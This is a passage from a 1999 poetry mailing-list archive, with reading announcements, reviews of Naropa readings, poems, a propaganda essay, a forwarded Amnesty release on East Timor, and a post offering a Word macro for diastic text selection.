made payable to Pavement Saw Press. All US contributors to the contest will receive at least one book provided a self addressed 9 by 12 envelope with $3.20 postage is provided. Add appropriate postage for other countries. For acknowledgment of the manuscripts arrival, please include a stamped, self-addressed postcard. For notification of results,

enclose a SASE business size envelope. A decision will be reached in September. Book(s) will be published before January 31st, 2000. Do not send the only copy of your work. All manuscripts will be recycled, and individual comments on the manuscripts cannot be made.

Manuscripts and correspondence should be sent to
Pavement Saw Press
The First Annual Transcontinental Poetry Contest
PO Box 6291
Columbus OH 43206

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202. David Baratier

E-mail's needed

Thu 17 Jun 1999

If the following folks could backchannel me, or if any have e-mail for these people please backchannel.

Bob Bertholf
Ken Irby
Sylvester Pollet
Steve Clay
Sandra Braman
Judith Vollmer
Gerrit Lansing
Sharon Doubiago
Mary de Rachewiltz

Be well

David Baratier

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203. **kathylou**
Saturday in San Francisco
Thu 17 Jun 1999

I will be reading this Saturday, June 19, at the Attic Club in San Francisco in celebration of the publication of my new chapbook, Genealogy, from a+bend press. My co-reader is Katherine Spelling.

Copies of my first book, Re dress, (San Francisco State University, 1994) winner of the Michael Rubin Award, as well as my literary magazine, Lipstick Eleven, will also be available.

Admission to the reading is free.

Kathy Lou Schultz and Katherine Spelling
Saturday, June 19, 5:00 p.m.
The Attic Club, 3336 24th Street (between Mission and Valencia)

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204. **Taylor Brady**
(no subject)
Fri 18 Jun 1999

For anyone who might be interested, I have written a Word 97 for Windows macro that automates one of Jackson Mac Low's diastic text-selection procedures. After several fruitless searches for the original DIASTEXT, and the realization that I could get paid for spending a day at work quietly writing poetry software...well, you can see where that's going. The template in which the macro is contained also has another macro for building concordances. Feed it a Word or text file and it will spit out a word count, count of the number of words minus repetitions (i.e., the lexicon of the document), and count of the number of instances of each word. This one runs a bit more slowly than the diasticator: a 2,000 word text took it close to three minutes. That's still orders of magnitude faster than I could have done it with paper and pencil, but I'd recommend planning a coffee break if you feed it anything longer than a page or two.

My apologies to Mac users on the list (myself included: I only have the PC at work) for not translating and testing the macro on that platform. That's complicated by my having only an older version of Word on my Mac, which would have necessitated translating from VBA to Word Basic. Maybe one day I'll get around to coding the whole thing for Mac, and for older versions of Word

(or as a stand-alone C++ app, thus getting around the proprietary software problem) -- but don't hold your breath. I'm less inclined to spend a day at home doing this on my own time. (Which is some kind of perverse work ethic, to be sure). About the only update I'm planning right now is a line-finder for the concordance macro, so you'll get not only a count of occurrences for each word, but a line number identifying where each one is.

Anyhow, the file is available for download from my FTP directory: ftp://ftp.mindspring.com/users/cartograffiti/macros/FreqCount.dot. I also recommend you read the documentation, saved as a text file in the same directory: ftp://ftp.mindspring.com/users/cartograffiti/macros/about.txt. And a final word of warning: as Word macros are a popular vector for DOS-based viruses, I strongly recommend running a virus scan on the file when you download it. The most recent updates of McAfee VirusScan and Norton certified it virus-free when I uploaded it, but since my directory isn't password-protected, you should consider it a (very slight) risk.

Alright, then, sorry to have taken up so much space on something sure to be of interest to only a very small handful of people. I hope someone finds some use or amusement in it.

Best,
Taylor

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205. Hannah J Sassaman
C R O S S C O N N E C T V O L U M E 4 I S S U E 3
Fri 18 Jun 1999

---

the staff of

C R O S S C O N N E C T
http://ccat.sas.upenn.edu/xconnect

would like to present
our long-awaited

S P R I N G / S U M M E R I S S U E

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* RAY DIPALMA *
* MICHAEL MCGEE *
* ROBERT PALMER *
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* HALVARD JOHNSON *
* RONALD DONN *

and others

available N O W at

http://www.ccat.sas.upenn.edu/xconnect

please C O N T A C T us at

[redacted]

****

Hannah Jane Sassaman
[redacted]

Theatre Arts Major at
the University of Pennsylvania
Class of 2001

Poetry Editor, CrossConnect Magazine
http://ccat.sas.upenn.edu/xconnect

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

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206. Poetics List Administration
poetics delay . . .
Fri 18 Jun 1999

as a result of dialup problems (on my end, this time) now resolved. Chris

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207. Poetics List Administration
Hello sweet muse... / krupoetry
Fri 18 Jun 1999

had to reformat this. Chris

From: "krupoetry" <[redacted]>
Date: Thu, 17 Jun 1999 02:34:11 -0400

You are cordially invited...

to click on my face if I blink at you...
please...*

*go to http://www.geocities.com/Paris/Jardin/7364/

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208. Poetics List Administration
format caveat
Fri 18 Jun 1999

It seems appropriate to remind everyone that the list cannot "digest" messages that contain Hypertext Markup Language (HTML) tags. Subscribers who are using Microsoft Outlook, Netscape Communicator and the like should alter their "Preferences" or "Options" (depends on the program) to send messages in Text-Only format.

thanks, Chris

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209. Poetics List Administration
Fire and Terrible Work / jesse glass
Fri 18 Jun 1999

---

this message came to the administrative account. Chris

From: "jesse glass" <[redacted]>
Date: 6/18/99, 12:41 PM -0700

Apologies to all for cross-posting!

A Brief Notice of Two Excellent Publications

Fire #8 is now available from Jeremy Hilton at Field Cottage/ Old White Hill/ Tackley/ Kidlington/ Oxfordshire OX5 3AB/England.

A bargain at 4 pounds (or U.S. $8.00), 7 pounds for a three issue subscription, and weighing it at a generous 160 pages, Fire presents large selections from the work of contemporary British, American, Australian, and New Zealand poets. This issue includes outstanding performances from Paula Green, Bill Griffiths, Cid Corman, E. Webb, Coral Hull, and 47 other writers with such intriguing names as Dee Rimbaud and Zenobia Venner. The wonderful thing about Fire is that the possibility of discovering fine work lurks behind every page. Hilton provides space enough for each writer so that one can truly get a feel for his or her voice.

Though the latest issue of Terrible Work (#8) has been out for almost a year, it still deserves a mention because of its superior content and the range and depth of its reviews. Terrible Work gives a great over-view of the current Brit. Poetry "alternative" scene. It also presents fine helpings from Jasmine Maddock, W.D. Herbert, Allen Fisher, Geraldine Monk, Jeremy Hilton, Tina Darragh, Andrew Duncan, Michael Basinski, Spencer Selby, and other knowns, unknowns, and soon-to-be-knowns, or perhaps never-to-be-knowns. Add to that 30 single-spaced pages of intelligent reviews, and a page or two of pointed commentary from editor Tim Allen (including a "critical cover")–and you have yourself a great object of contemplation. Available from the editor at 21 Overton Gardens/ Mannamead/ Plymouth/ PL3 5BX/ England at 3 pounds 50 per issue, or 9 pounds for three issue a subscription, or U.S. equivalents.

From your correspondent (who appears in both of the above) in the land of the Rising (risen by now) Sun. Jesse Glass

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210. Stephen Vincent
Re: Eleanor Antin Exhibit
Fri 18 Jun 1999

Anyone visiting or living within vicinity of Los Angeles, the LA County Museum's Eleanor Antin retrospective is a knockout resurrection of her conceptual, video, performance and installation works. A great imaginative, zany mind at work having fun exploring real stuff. If you ever wondered, for example (as I have) if Cindy Sherman's work had a mother, she's here in spades. A big kudoo to Howard Fox, the curator, who pulled it together. By the way, give yourself plenty of time for a choice of many videos, several of which are a riot. If you can't get to the show, the catalog is good, full of evidence, etc. And, by the way, it's still easy to go shopping practically across the street at Sun and Moon's treasure full bookstore. Cheers, Stephen Vincent

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211. Pritchett,Patrick
Naropa Summer Readings
Fri 18 Jun 1999

Thursday, 6/17/99

JARNOT, BROWN & MAYER @ NAROPA

This week marked the beginning of the Naropa Writing & Poetics Summer Writing Program's 25th anniversary. O star-studded. O gala. O unseasonable rain & damp. O all the stops pulled out.

I won't be covering each & every reading as I've done the past two summers. Instead, I thought I'd offer reports of selected evenings. This way I can play more golf, which is almost as important as poetry.

Lisa Jarnot began the evening by remarking, "This is an interesting situation. I've never given a reading with Bernadette sitting behind me." And indeed, Bernadette Mayer was sitting downstage of her, in partial shadow and for reasons we may never know. Lisa read from new material, some of which will appear in the forthcoming Ring of Fire this fall. I've written about Lisa's readings at Naropa before, so won't try (too much) to re-cover that ground. What struck me in this new work of hers, though, was the use of that much-neglected trope, the apostrophe. Whatever happened to the apostrophe? It was back last night, and better than ever. "O life force of supernalness!" began one such apostrophic poem. The key to the effectiveness of Jarnot's use of apostrophe is contained right there, I think, in that single line. Call it a "having your cake and eating it, too" poetics, if you must, but the antique diction and slightly bent syntax of this exclamation enables her to invoke and undercut simultaneously. Genuine earnestness and ironic distance are made to co-exist on the same playing field. It's a risky gambit -- and quite delicious. Jonathan Culler has written a very good esssay on the uses of apostrophe. For now I'll just say that the apostrophic seems a particular way of laying-claim-to -- a means for inscribing a bold and yet intimate self-presencing.

Poems read by Jarnot included a hockey poem dedicated to her brother ("and you hold your icy wrists up to the icy sky") (Go, Sabres?); the heartbreakingly lovely "Brooklyn Anchorage" ("and in my plan to become myself I became someone else"); "Poem Beginning With a Line by Frank Lima;" "Ode;" a terrific poem about Jane & Anselm Hollo's lawn furniture and the blue hair of wildebeests that is made from stars, from ice; and the haunting "Psalm After Philip Lamantia."

What else is there to say? Only that in her work Lisa Jarnot employs a sly humor and a sinuous music to affirm, via the extravagance of excessive signifying, the fundamental joy of being alive and being alive _in_ language, of being a creature of language, plunged in the ongoing dream of language, that is a blindness and an epiphany, an endless pronouncing and its apophatic self-erasure.

****

Dear Lee Ann Brown:

Weren't we friends in another life? I don't know. The Ways of the Lords of Karma are mysterious, the bribes impossibly high. You have cool sunglasses -- that much, at least, I know to be true. What you did was possibly foolhardy -- starting your reading with a singalong of Helen Adams's "I Love My Love."

(Steven Taylor on guitar). But it was fun, even though I croaked along in a barely sustainable baritone. Your voice was strong. It was a pleasure to hear that macabre ballad so entuned.

You read from Polyverse and I forgot to write down the lines and I forgot to buy the book before I started writing up this report. There was a poem called "Present Beau for Robin Blaser." It's a form invented by Harry Matthews, whom, you announced with regret, has decided to rename it to "Beautiful Inlaw." I agree -- that's not as good. Either way, this form uses only the letters of a person's name. Hence:

"Rare, rare lobelia rails/robed & born."

And this form, invented by Jack Collom, who may have given it a name:

"Here we
sit but
where is
our food?"

And you sang "Shady Grove" - a sheer delight. And a distinctive Southern lilt re-entered your voice when you came to the phrase, "Blue Ridge beer."

You read a poem for your grandmother, Agnes Wylie, 1902-1999, and for once it wasn't an elegy to a grandparent laden with false sugars. In this poem you used a wonderful word -- "infloresence" -- and that, it seems to me, is an apt description of your own method: a kind of continual blooming: an exfoliation along the finite lines of a fractal pattern: fragments of petals containing the whole flower: and containing the whole history of the flower: and of its species: and the corresponding history of its infoliation, along the lines where a stress may fall/flow: and a tracing of the sutures of dynamic invention: it's an odd sort of prayer you are making without really praying.

And dear Lee Ann Brown, that's such a good kind of poem to be making. I bet you could walk down the street all day and say "Yes" to every single thing you see until you say "No," and that would be even better than "Yes."

Your very truly,
P.

****

Of Bernadette Mayer I will try to tell if I can.

Bernadette Mayer is a character. Quite possibly the Original Character. At the very least, she is in the Original Characters' Hall of Fame. Maybe, to borrow a phrase from Jack Collom and Michael Friedman, she is the Sixth Man off the bench of Original Characters. Anne Waldman, in her virtuoso introduction, said:

"writing was waiting for her to arrive," and who could deny the truth of that I'd like to know?

The second thing Bernadette Mayer said was: "If I alarm you, don't be horrified." I forget what the first thing was.

She began her set by reading, "Your Penis Is Homeless," a firebreathing invective against somebody, god help him whoever he is, that was equal parts Juvenalian insult and the best taunts of your superior 3rd-grader (it's hard to tell the difference when they take their hats off).

One of the milder examples: "your nostrils resemble the assholes of cops."

Then came a collaboration with Brad Hill, a very tall young poet with an enormous backpack. They collaborated to make sure that Brad could attend the reading.

Next: "These are dreams, so I'll skip those."

And then a series of delightful epigrams:

"There is no one at the bird feeder today.
It's raining cats & dogs."

—

Yom Kippur

"I'm dead.
Thank god it's not emotional here.
Ecstasy, that's another matter."

—

"Okay, here come the real poems" (This "threat" was repeated several times, only to be followed by more epigrams).

But then a "real" poem did come along. It was a long poem about sleep. Or rather, about the anxiety produced by sleeplessness. About trying to woo & coerce sleep. About "the artless lambency of a famous night's sleep."

Can't sleep? Try the capitalist method:

" I have ownership of sleep. Sleep is mine."

(This worked instantly the first time she tried it)!

After the sleep poem Bernadette Mayer read a poem during a single hour from August 1992. Essentially, then, a meditation on the category of The Hour -- one to out-Augustine Augustine. A poem, then, about the endless dilations and contractions of "an hour." More fractal geometry at work here. The island is finite -- its shoreline is not.

And a graph of the mind moving, ceaselessly moving, moving in Bernadette-time, which is post-Einsteinian free-for-all time. Which is "I go to the star and come back and dance on your still youthful head time." Of the subdivisions of time there is no end, no, nor any end to thinking about them until your hour is up.

My hour is up. Thank you, Sister Bernadette.

Patrick Pritchett

↑ Index

212. A H Bramhall
French Village Life
Fri 18 Jun 1999

---

structure of speech
attempting to come to terms with structure and its integrity: how
wishful. the frailty of thinking this way sadly persists. little feeling
remains within the flower, as of now. as always, words lack fire.
unless misspoken, bringing anxiety and calling for a drum. there is
a time inside each word then
 a curving, broadening out into a universe. or tone poem.
or an excuse to make more excuses.

this is not a bridge
this bridge is a point of land that overlooks the sea. the simple
facts come in thru the wall of experience. door of experience in
the wall of perception. the time thing includes a hazy map. somewhere
 your position becomes important. it might actually be a
way to survive with light. the rhythm, now,
comes a-calling.

road map the i-love-you crowd digs around the edges until an island is formed. there's nothing like a perfection of solitude, where the sounded sounds of kisses slurp with the hiss of the waves. your expression of doubt, gayety or harsh anti-cynicism can create a spell. let's not tell the magistrate.

a hurdy gurdy
never knowing where one is, the sounds come from all
around. a mysterious launching exists in the works. the
stars, well, of course, they will always be close. that's the
point of music, really. the mystic sense of a hurdy gurdy is envy.
oh yes, time thrilled by the meaning of music, hah, that's why
writers type fast, or scribble illegibly. that's why the strings are
scraped in just that fashion, caterwaul and all. the

theory is simple, and really quite accurate,
so far as it goes.

French timepiece think how a language can include roses, stories, terror, maps, particulars of doubt and much more. a kiss is just a kiss, or so you are almost ready to believe. but are words on lips? on ne sais (as they say) jamais. France, it is known, has a time of its own. back to medieval out of the apple seed. oranges are foreign and strange. this falls over a cliff, never really quite accurate.

special auction speech in a town called French Lover in Flowers. a dalliance sporting the usual tremours and musical notes. force of the light slipping boundaries and passing the enclosures. if indeed rivalry can be spoken of, longing as a spiritual intention, and running a moment of insistence. you can run too, you can run to. that's the speech that lives in the speech of the town called French Lover in Flowers. a slipper kicked high in the sky gathers the eye. the glow is exquisite, don't tell the magistrate.

↑ Index

213. **Maria Damon**
Re: Job listing
Fri 18 Jun 1999

At 3:32 PM -0500 6/18/99, Ramona Santti wrote:
>The Seattle Art Museum is seeking qualified applicants for the following
>position:
>
>Teacher Resource Center Coordinator: SAM is seeking a self-motivated
person
>to coordinate activities, materials, publicity and volunteers for the
>Teacher Resource Center, a small lending library for educators. This
>position will include training, supervising, and scheduling interns and
>volunteers, recommending materials and providing training for online
>materials to teachers. S/he will be responsible for database, simple
>computer repairs, and the coordination of maintenance of computers.
> Requires: accurate typing, basic computer skills and database skills.
>Library, art education, or museum experience preferred. Must be
>professional, and have excellent written and oral communication skills.
>Please mail or fax required application (Call receptionist for appl: (206)
>[redacted]), cover letter, and resume to: Recruiting, SAM, P.O. Box 22000,
>Seattle, WA 98122-9700, fax: [redacted]
>
>Ramona

↑ Index

214. Kevin Magee
Poster inspired by AH Bramhall
Sat 19 Jun 1999

"just once in a while pin something on the wall"

Can the word "propoganda" ever exist in an open-ended question? Is it a even a word? For anyone sensitive to philosophy, the love of truth, looking for truth, questioning truth-statements, doesn't propoganda preclude doubt, including self-doubt, insisting on a language that speaks the truth? The slogan on a newspaper I read and have even sold at a few plant gates says "The _____ tells the truth." It doesn't always. Sometimes there are mistakes. Most of the correspondents work in industry. Sometimes they slant the coverage. The editors try to correct obvious errors and overstatements. No, there were not thousands cheering Fidel in South Africa, etc. "A"-1: "Foreheads wrinkled with injunctions: / 'The Pennsylvania miners are again on the lockout, / We must send relief to the wives and children-- / What's your next editorial about, Carat, / We need propaganda, the thing's / becoming a mass movement." This evolves into "A"-8's verbatim Lenin: "Learn, learn, learn! / Act, act, act! / Be prepared, well and completely prepared / To make use, with all our forces, / Of the next revolutionary wave. / That is our job." Maybe the ugliest lines in all of "A"? Cement truck-like. And then of course the famous silence turning inward with "A"-11. "A"-8, 1935-37. In March 1937 a Joint Commission of Inquiry was formed that would soon go by the name of The Dewey Commission, named after its chairman, John Dewey, "America's leading philosopher and educationist" according to Issac Deutscher. (Well, along with Charles Pierce). "He put aside work on a treatise 'Logic: the Theory of Inquiry.'" The Moscow Trials. The counter-trial. The cross-examination of Leon Trotsky née Lev Bronstein. I don't know all of Zukofsky's correspondence, and wonder if he ever mentioned any awareness of the Dewey Commission to anyone, or was his imagination of Marxism so influenced by the university schoolroom and classmates who started out left in the 30s and wound up right in the 50s that it earned him a footnote in a scholarly study by Alan Wald on the subject of political amnesia, a book which has nothing to do with poetry or poetics. Does propoganda have anything to do with poetry or poetics? Maybe that new book by Benjamin posted on the Bridge St. flyer has an answer, I don't know. WB is torn over the question of joining the KPD while in Moscow the winter of 26/27. A sensitive philosopher turning to face the fear of propaganda work, which is part of political work. While in Moscow he submits an article on Goethe for the Soviet encyclopedia and Radek criticizes it for how many times "class struggle" is mentioned. What a falling off there was. There's a photograph from some ten

years earlier, a whistle stop, the sealed train in transit, Lenin is talking to the town mayor welcoming them, Inessa Armand is directly behind in conversation with Radek, and Zinoviev is bringing up the rear holding the hand of a small child. Has this photograph been doctored by my memory (I'm not looking at it, the book it's in.) Am I substituting Radek for Bukharin? Where is Krupskaya? Perhaps propaganda is the Howl to philosophy's Owl, the old interpret the world or change the world, maybe it's even lurking somewhere in the shadows of Whitman's conjoining of "art and argument"--but that's a thought for another poster. Like the question of the relation between teacher and student and the making of poetry. Like the question Why publish? and Pessoa's solution, which scares me. There's a word in Russian for writing for the desk drawer--I heard someone from Russia talk about it in Hoboken. I don't remember what the word was. What kind of world could produce such a word. I heard Betsy Stone say in Pittsburgh about a year ago, a woman who looks a lot like and whose voice even sounds a little like Susan Howe, "Just for the fun of it I started counting. Seventeen languages spoken on my shift." There are people like her doing work in the trade unions, and she wouldn't flinch at the phrase "propoganda work" or "propoganda party." To militants like her I think it means simply getting out your ideas, getting into discussions, not imposing your ideas, not dominating --especially anyone who's starting to think aloud for the first time. The kind of thing that happens at an open mic.

Kevin

↑ Index

215. Katie Degentesh

Paul LaFarge

Sat 19 Jun 1999

Hear Paul LaFarge read from his first novel, The Artist of the Missing (Farrar, Straus & Giroux), in three Bay Area appearances:

Monday, June 21 @ 7:00 pm
Booksmith
1644 Haight Street (near Cole)

Tuesday, June 22 @ 8:00 pm
Intersection for the Arts
446 Valencia Street (& 16th)

Monday, July 5 @ 7:00 pm
Black Oak Books
Berkeley, CA

"A poised and playful homage to the storytelling impulse... explores the sort of shifting dreamscapes we encounter in Fellini, Borges and Lewis Carroll." (New York Newsday)

"In The Artist of the Missing, San Francisco writer Paul LaFarge has built a city for love stories, a place as dimly remembered as a midnight telephone call, as broken and luminous as abandoned streets seenthrough a whiskey tumbler." (San Francisco Magazine)

Find the Artist of the Missing on the Web at http://www.paraffin.org/artist/

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

↑ Index

216. Robin Tremblay-McGaw
email addresses
Sat 19 Jun 1999

Dear All--

If anyone has an email or other address for the following folks, please let me know. Back channel [redacted]

Karen Mac Cormack
Tina Darragh

Thanks, Robin

↑ Index

217. Maria L. Zavialov
(no subject)
Sat 19 Jun 1999

A question to New Yorkers:
what's the stairway of the lions in 42nd Street (Toni Morrison mentions it in Jazz)?
If anyone could - or knows a person who wouldn't mind to - consult me on some (very few) things in that novel please backchannel. Would be VERY grateful and mention you in my last will (that is, acknowledgement in the Russian edition)
Masha ([redacted])

↑ Index

218. Karen Kelley
Lost Email Address (CHAX) & Apt for Rent
Sun 20 Jun 1999

Charles Alexander, I've lost your email address, would you get in touch?

Also: I'm moving back to the great Southwest, which leaves my small two bedroom apartment (situated 40 miles south of San Francisco) for rent. Quiet neighborhood and lovely neighbors. 990.00

Anyone interested, email.

Karen

↑ Index

219. Chuck Stein
ainu dreams posting
Mon 21 Jun 1999

Station Hill Press / Barrytown, Ltd. would like to announce the publication of:

_Ainu Dreams:
Poems: George Quasha; Dreams: Chie [buun] Hasegawa_
6x9, 144 pages
PB $13.95, ISBN 1-58177-053-7
13 ink drawings by George Quasha
Published by Barrytown, Ltd.
Distributed by Consortium Book Sales & Distribution
Website: www.stationhill.org

SPECIAL OFFER TO MEMBERS OF POETICS LIST:
30 % discount: Call [redacted] and mention that you are a member of the Poetics List.

In _Ainu Dreams,_ poet George Quasha and buun (Chie Hasegawa), a Japanese artist living in America, collaborate in poetically manifesting the artist’s richly articulated dream-life. These eighty-odd poems embody an ever-opening cosmos of curious image, surprising narrative, and enigmatic "teaching" in a language no one could have dreamed up alone. Structurally intriguing in their own right, the poems unfold the inner secrets of the dreams themselves, yet do so in a language that is always direct, readable, and often "addressed" to a second person (the poet? the reader?) in a manner so startling that even reading itself seems to be dreaming!

The book includes "Oneiropoeia: Telling Tales on Dreaming," the poet's prose reflection on the poetics of dreaming and collaboration.

Ainu Dreams is the momentous merge you get when someone rich in dreams meets an oneiropoet at the edge of dawn—a sudden lovely flooding of the perceptive field. The poems are radiant. It’s so rare to get words arriving still attached to their generative image. Requires a listener/catcher so carefully attuned as to be also one foot in the same space. Quasha’s description of his soft perch at the edge of the dream (entrained to the dreamer’s dream) is as amazing as these dream-pieces that emerge from the mouth of buun. A sort of miracle infusion of vitality in the field of dream-speak, blessedly free of interpretation. And the drawings! and the front and end pieces—the book comes at it from so many fluid angles it lifts & floats you in its burbling current. —Nor Hall

The oneiropoeia of _Ainu Dreams_, involving a remarkable process of collaboration, transcription, and transformation, has generated these affectionate, quirky, and questioning pages. Fables retrieved from the borders of consciousness, dialogues with the finite and what lies beyond. What a wild idea, what fun (see e.g. "Meaningless Chili")!—Anselm Hollo

There is a world of difference between the dream that is dreamed and the dream that is told. And maybe that difference is precisely the world we live in, the compromised latitudes between private dream and public telling. _Ainu Dreams_ is an exciting book because it asks Who is dreaming? Who listens when who is telling? Negotiating issues of identity and absence, Quasha and Hasegawa weave and unweave subtle patterns of narrative—a story is not just what can be told, but also what can be distorted, transformed, forgotten. They teach us to read with our eyes closed, and hear images as if we were, as we are, dreaming. _Ainu Dreams_ is also a timely book, because it marks the first publication in many years by the important American poet whose long poem, _Somapoetics_, was a vital ingredient in the shaping of recent poetics.—Robert Kelly

↑ Index

220. A H Bramhall
For The Sake Of Variety
Mon 21 Jun 1999

---

this sort of thing happens all
the time. it establishes
a texture within the drama, that is to
say: one cares. people
invent chords, or
invest them, then something
exciting occurs, quite a meaningful

act, if you can revel in
responding. the tribe lingers in the
languour of the
nearby forest. a town waits to
sprout up, you see. it will be there
that folks will gather, to hear
which song will
ruin their lives.
a home run can't be explained, but it illustrates
something, as if
any illustration could
prepare us for
what follows. there's
trouble yonder. just something
desperately pronounced: which faction
won the right to fret the verbs.
our nation of nouns
has been scheming for ages, let's hear
real news. people can get
ready for anything. they back their stiff assertions with
perfect sales pitches and drama
drama drama.
DON'T BE USELESS. call home. mother
will appreciate the change in your
demeanour, as if you
finally understood that
scale of torture
again. we have rats
living where the trouble begins. you'll need to
speak quietly but firmly since
something must be done.
if anyone listens, that is.
if they do, let them
have it.

Part 2, Area C
the melting point grows more
familiar as time
shreds the concepts.
an emissary from
one of those places wants to
restore the usual thing to the

favourite processual
hitching post. a chummy
bipartisan cost-affection
will strike the fiercest nodes
with downy softness and
tired prison movies.
success will be hinted at with
only the biggest gongs.
that spattering you hear
will be an assumption
bursting inside the cave.
don't go in alone.

Part 3, Section 3, Salient 2
structure is a part-time celebration of
where the hell are my socks?
forget dogma and catalogue, we've got
program to uphold. down to
earth with ya.

Part 4, Section 4, Route 1, Fortune 500, Red Sox 3
that genetic thing went
out with every
other candle. not a blessed thing
holds us together. if you start
moaning now you'll have to
speak to Robert Johnson personally. and it
won't be easy.
nobody wants to keep
unwanted class action suits
on the docket unless
there can be unitary pleas vis-à-vis
that's my towel, this is
your shoelace, and
all tonsils are
roughly the same.
chuck these
petites choux in the
drier with the rest of the lot because
it's time to speak
English, good old
English such as was
given me by

whoever it was. English, the
tongue of tongues and
a mole to get at Tyre. everyone
please: be as nice
as guesswork will allow you. this
skate rink belongs to one
and all.

↑ Index

221. Poetics List
VEC / jesse glass
Mon 21 Jun 1999

---

this came to the administrative account. Chris

--

From: "jesse glass" <[redacted]>
Date: 6/20/99 10:49 AM -0700

Apologies For Cross-Posting

Rod Summers/VEC

You might have caught his sound poetry performances on CNN's "Art Place" a few weeks back. Rod Summers has been actively involved in the international sound poetry, concrete poetry, mail and book art scenes since the early 1970s. His press/studio VEC maintains an impressive list of his and others' publications, audio works, and collaborations. Contact him for news of the latest VEC ventures and price list.

Rod Summers / VEC

Florynruwe 52C

6218 CE Maastricht

The Netherlands

[redacted]

↑ Index

222. Poetics List
East Timor forward / Joe Brennan
Mon 21 Jun 1999

---

had to reformat this message. Chris

--

From: [redacted]
Date: Mon, 21 Jun 1999 11:29:02 EDT

f.y.i.

To: [redacted]
From: [redacted]
Subject: East Timor: High level of human rights abuses threaten ballot
Date: Mon, 21 Jun 1999 16:02:57 +0100

* News Release Issued by the International Secretariat of Amnesty International *
East Timor: High level of human rights abuses threaten ballot

21 June 1999

With just seven weeks to go before the UN conducts a ballot on East Timor's future, an atmosphere of fear and insecurity persists in the disputed territory, Amnesty International delegates returning from a research visit said today at the launch of a major report.

"Serious human rights abuses are continuing and are undermining the East Timorese people's ability to exercise their rights, despite promises made by Indonesia to provide security for the East Timorese people," Amnesty International said. "If people do not feel safe, they will not be able to participate freely in the ballot."

"Responsibility for these abuses lies squarely with the newly-formed civilian militias in East Timor, and with those who have assisted and protected them, namely the Indonesian military forces, and to a lesser extent the Indonesian police."

The UN consultation process is the result of a tripartite agreement between Indonesia, Portugal and the UN signed on 5 May 1999. On 8 August 1999 the East Timorese will be able decide whether to accept or reject a proposal for autonomy with Indonesia.

Amnesty International's report -- based on a May 1999 visit to Indonesia and East Timor -- documents a well-organised campaign to threaten and intimidate the population into supporting autonomy and to disrupt pro-independence groups participation in the ballot process.

Pro-independence activists, students and civil servants are the main targets of this campaign with hundreds being arbitrarily arrested, {tortured} and ill-treated, "{disappeared}" or killed by civilian militias, operating with the support and at times direct involvement of the Indonesian security forces.

The current level of violence, ongoing human rights violations and forced relocation of some communities is impacting on all East Timorese, and has led to thousands of people fleeing their homes.

{Human rights defenders} and humanitarian workers have been threatened and some have gone into hiding. Both domestic and international {journalists} have also been threatened and beaten in an attempt to prevent them from reporting on militia attacks.

The Indonesian security forces are supporting and at times directly involved in militia attacks and pro-integrationist campaigns, despite Indonesian commitments under the Agreements to provide security to all East Timorese people and guarantee the neutrality of the security forces.

Little, if any, action is being taken to prevent militia attacks, and hold those responsible to account for recent violations. Instead, the Indonesian authorities have recently recruited members of one of the most notorious militias into a civilian defence unit.

"If the Agreements are to have any chance of success, Indonesia must abide by its commitment to protect all East Timorese, to ensure the neutrality of the security forces and start arresting and bringing to justice those responsible for violations," said Amnesty International.

The international community must call on the Indonesian authorities to fulfil the promises they made under the agreement and let the East Timorese people determine their future freely and without intimidation.

In view of widespread human rights violations by the militias and the links between militia and Indonesian army activities, Amnesty International is urging all governments to conduct an immediate review of all their military and defence links with Indonesia to ensure that such links are not contributing to human rights violations.

The East Timorese National Liberation Army, Falintil, has also been responsible for recent human rights abuses. "The independence leadership must take steps to ensure that Falintil acts in accordance with minimum international humanitarian standards. Their commitment to human rights protection within this process is vital."

"The UN ballot offers the chance to end 23 years of violence in East Timor," Amnesty International said. "If the popular consultation is not perceived to be fair by all parties involved, and the high level of human rights violations persists, the credibility of the whole process is undermined."
********** You may repost this message onto other sources provided the main text is not altered in any way and both the header crediting Amnesty International and this footer remain

intact. Only the list subscription message may be removed.
********** with "subscribe amnesty-writersartists" in the message body. To unsubscribe, send a the message body. If you have problem signing off, contact <[redacted]>

↑ Index

223. Poetics List
VEC erratum / jesse glass
Mon 21 Jun 1999

From: "jesse glass" <[redacted]>
Date: 6/20/99 3:47 PM -0700

Read "Art Club" for "Art Place".

↑ Index

224. Ana Doina
Re: 42nd st. lions
Mon 21 Jun 1999

I'm not familiar with Toni Morrison/Jazz
but could he be talking about the NY Public Library?
It is on 42nd , and it has stairs and lions all right.

best,
Ana Doina

> *A question to New Yorkers:*
> *what's the stairway of the lions in 42nd Street (Toni Morrison mentions it*
> *in Jazz)?*
> *If anyone could - or knows a person who wouldn't mind to - consult me on some (very few) things in that novel please backchannel. Would be VERY grateful and mention you in my last will (that is, acknowledgement in the Russian edition)*
> *Masha ([redacted])*

↑ Index

225. Michael Magee
Re: C R O S S C O N N E C T V O L U M E 4 I S S U E 3
Mon 21 Jun 1999

According to Hannah J Sassaman:
>
>
> C R O S S C O N N E C T

> http://ccat.sas.upenn.edu/xconnect
>
> S P R I N G / S U M M E R I S S U E
>
> featuring NEW work by
>
> * MICHAEL MCGEE *

Despite the typo, that's li'l old me, and (shameless self-promotion) xconnect was nice enough to make me the "featured writer" in the issue, which means extra poems and my picture on the contents page. Have a looksee! -m(ichael magee).

↑ Index

226. Kimmelman, Burt
(no subject)
Mon 21 Jun 1999

masha,

i presume the steps with the lions are those at the fifth avenue entrance of the new york public library bldg in manhattan.

burt

> *-----Original Message-----*
> *From: Maria L. Zavialov [SMTP:[redacted]]*
> *Sent: Saturday, June 19, 1999 3:39 PM*
> *To: [redacted]*
> *Subject:*
>
> *A question to New Yorkers:*
> *what's the stairway of the lions in 42nd Street (Toni Morrison mentions it*
> *in Jazz)?*
> *If anyone could - or knows a person who wouldn't mind to - consult me on some (very few) things in that novel please backchannel. Would be VERY grateful and mention you in my last will (that is, acknowledgement in the Russian edition)*
> *Masha ([redacted])*

↑ Index

227. Alan Sondheim
Virtual Languor
Tue 22 Jun 1999

==

Virtual Languor

